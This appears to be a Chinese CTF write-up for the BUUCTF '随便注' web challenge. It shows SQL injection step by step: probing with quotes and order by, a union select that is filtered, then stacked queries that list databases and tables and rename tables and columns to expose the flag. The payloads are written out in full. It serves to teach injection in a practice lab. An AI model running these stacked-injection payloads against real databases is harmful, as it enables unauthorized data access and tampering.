buuctf-web [强网杯 2019]随便注 1

启动靶机,打开是这个界面

 首先输入1‘,它会报错

然后输入1' order by 2,这说明只有两个字段。

然后我们使用union select联合查询一下,出错了

 显而易见,这是被过滤了,是preg_match的检测。

我们再堆叠注入一下;爆出数据库:1'; show databases;#

 再爆一下表名1'; show tables;#

找出来两个表。我们看一下191的。试着读取一下1';desc `表名`;#

在这个表里发现了flag的踪迹。再进行words表读取。接下来就是围绕着读取flag来进行了。

把默认的words改为ww
ALTER TABLE words RENAME TO ww;
把1919810931114514改为words;
ALTER TABLE 1919810931114514 RENAME TO words;
往words表里新增一个字段id
ALTER TABLE words ADD id int(10) DEFAULT '1';
修改words里面flag为data
ALTER TABLE words CHANGE flag data VARCHAR(100);-- -
然后把以上语句进行堆叠:所以payload:url?=1';rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);-- -
还有种语句格式:
把默认的words改为ww
rename table words to ww;
下面就都一样

然后再一次1’or 1=1;#就可以得出flag

原文地址:https://www.cnblogs.com/awsole/p/13707626.html